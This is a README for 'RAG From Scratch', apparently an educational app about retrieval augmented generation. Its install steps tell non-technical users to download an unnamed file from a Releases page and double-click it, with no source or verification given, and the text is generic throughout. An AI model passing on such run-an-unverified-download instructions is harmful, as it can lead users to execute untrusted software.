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🎉 rag-from-scratch - Learn Retrieval Augmented Generation

🚀 Getting Started

Welcome to the RAG From Scratch project! This application helps you understand and implement retrieval augmented generation (RAG) with large language models (LLMs). It provides a practical approach to enhance LLMs by integrating external documents for better contextual awareness.

💻 System Requirements

To run RAG From Scratch, ensure your system meets the following requirements:

• Operating System: Windows, macOS, or Linux
• Minimum RAM: 4 GB
• Disk Space: At least 200 MB available
• Internet connection for retrieving external documents

📥 Download & Install

To get started, visit our GitHub Releases page to download the latest version of the software.

Visit this page to download

1. Go to the Releases page.
2. Find the latest release.
3. Click on the file download link associated with your operating system.
4. Save the file to your computer.
5. Once downloaded, locate the file and double-click to run it.

📚 Features

RAG From Scratch offers the following features:

• Easy Setup: A straightforward installation process.
• User-Friendly Interface: Designed for non-technical users.
• Learn the Basics: Accompanying video content explains the fundamental concepts of RAG.
• Integration Support: Works with various data sources for document retrieval.

📹 Video Playlist

For a complete understanding of RAG, check out our video playlist. These videos walk you through the principles and practical applications of RAG, starting from indexing to generation.

🔍 How It Works

RAG enhances LLMs by:

• Using external documents to provide relevant context
• Improving the model’s ability to generate accurate and coherent responses
• Expanding the model’s knowledge beyond its fixed data set

⚙️ Usage Instructions

After installation, follow these steps to use the application:

1. Open RAG From Scratch.
2. Select your data source for retrieval.
3. Input your query in the designated text box.
4. Click the “Generate” button to receive context-aware responses based on your input and the retrieved documents.

💬 Support

If you encounter any issues while using the software, feel free to reach out for help. Check our issues page for common questions and solutions.

🙏 Acknowledgments

We appreciate the community’s contributions that help improve this project. Special thanks to contributors who have shared their feedback, resources, and ideas.

🌟 Future Enhancements

We aim to expand the functionality based on your feedback. Future updates may include:

• Support for additional document types
• Enhanced query handling
• More detailed user tutorials

📝 License

This project is licensed under the MIT License. Feel free to use and modify the application as needed.

Remember to visit the Releases page to download the latest version and start your journey with retrieval augmented generation today!